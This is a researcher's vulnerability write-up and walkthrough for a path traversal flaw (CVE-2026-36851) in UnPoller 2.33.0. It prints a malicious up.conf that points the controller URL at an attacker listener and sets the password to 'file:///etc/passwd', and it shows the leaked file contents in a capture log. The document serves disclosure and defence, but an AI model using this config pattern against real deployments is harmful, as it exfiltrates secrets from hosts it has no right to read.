
Walkthrough and PoC of File path traversal vulnerability(CVE-2026-36851) for UnPoller 2.33.0
Path traversal / arbitrary file read in UnPoller v2.33.0 via the file:// password prefix. File contents are read from disk and transmitted to the configured UniFi controller URL during authentication.
| CVE | CVE-2026-36851 |
| Product | UnPoller v2.33.0 (earlier versions likely affected) |
| Weakness | CWE-22 (Path Traversal), CWE-20 (Improper Input Validation) |
| CVSS 3.1 | 7.5 High — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N |
| Reporter | Hector Diaz |
UnPoller supports loading credentials from a file when the config value starts with file://. That behavior is documented for Docker deployments where operators want passwords outside plain-text config files. The implementation does not restrict which path may be read — any file the process can access is valid input. Those contents are then sent over the network in a JSON POST to /api/login on whatever controller url is set to in the same configuration file.
That combination turns a local file-read primitive into a network exfiltration channel: an attacker with write access to up.conf can point url at a server they control and repeatedly leak sensitive files without direct read permission on those files.
I run UnPoller in my homelab — Docker on a Proxmox LXC — to export UniFi metrics into Grafana alongside the rest of my stack. I was reviewing open-source projects for common web vulnerabilities. UnPoller has minimal user-facing web surface, so XSS was a dead end. The example configuration is where the finding started:
pass = "file:///path/to/password.file"
The intent is reasonable: reference a secrets file instead of embedding the password in up.conf. The question I had was whether UnPoller validates that path — or treats any file:// value as a literal filesystem pointer.
Tracing the source in pkg/inputunifi/input.go (and similar handling in influxunifi, lokiunifi) shows there is no whitelist. When pass or api_key starts with file://, the prefix is stripped and os.ReadFile() loads the full file contents into the credential field used for UniFi authentication.
Confidentiality: Arbitrary readable files on the UnPoller host can be exfiltrated — e.g. /etc/passwd, /proc/version, /etc/hosts, application configs, and potentially key material depending on process permissions.
Attack prerequisites: Write access to UnPoller configuration (typically up.conf). No UniFi credentials required to trigger the read once config is modified.
Why this matters beyond local admin access: In shared hosting, misconfigured Kubernetes, or compromised sidecar scenarios, a low-privileged actor may be able to modify service config without being able to read sensitive files directly. This behavior bridges that gap by having UnPoller read the file and transmit it outbound.
Not in scope: Remote code execution, integrity, or availability — this is an information disclosure issue with a clear exfiltration path.
Tested against ghcr.io/unpoller/unpoller:latest (v2.33.0) on a Debian-based Proxmox LXC with Docker Compose.
Setting UP_UNIFI_DEFAULT_PASS="file:///etc/passwd" via environment variable did not trigger the behavior in my deployment. The mounted config file was the effective source of truth.
I edited up.conf to point UnPoller at a capture server I controlled instead of my production UniFi controller:
[unifi.defaults]
url = "https://x.x.x.x:8443"
user = "admin"
pass = "file:///etc/passwd"
After docker restart unpoller, the container began connecting to my listener on port 8443 every ~30 seconds.
My first capture server logged HTTP headers and looked for Authorization: Basic ... credentials. UnPoller sent POST /api/login requests with no Authorization header — UniFi's API expects JSON in the body:
{"username": "admin", "password": "..."}
I updated the listener to read Content-Length, parse the POST body, and log the JSON. Within a minute, /etc/passwd appeared in the password field:

Log excerpt:
🎯 POST BODY: b'{"username":"admin","password":"root:x:0:0:root:/root:/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/sbin/nologin
nonroot:x:65532:65532:nonroot:/home/nonroot:/sbin/nologin"}'
The same configuration pattern worked for /proc/version (kernel/build fingerprinting):

Example malicious config: poc/up.conf.example
| Date | Event |
|---|---|
| 2026-02-28 | Discovered and confirmed in homelab |
| 2026-03-01 | Vendor notified (Discord) |
| 2026-03-02 |
The UnPoller maintainer acknowledged the file:// behavior as an intentional convenience for Docker users and questioned exploitability without privilege separation between the config editor and the process user. MITRE assigned a CVE identifier regardless.
For operators
up.conf and config mounts as sensitive; restrict write access.file:// paths until a fix is available.For developers
file:// handling from credential fields, or enforce a strict path whitelist (e.g. only under /etc/unpoller/secrets/).MIT — see LICENSE. Proof-of-concept materials in this repository are provided for authorized security research and education only. Do not use against systems you do not own or lack explicit permission to test.
Hector Diaz · LinkedIn · hectordiaz.net
| MITRE CVE request submitted |
| 2026-06-05 | CVE-2026-36851 assigned |
| 2026-07-03 | Public write-up published |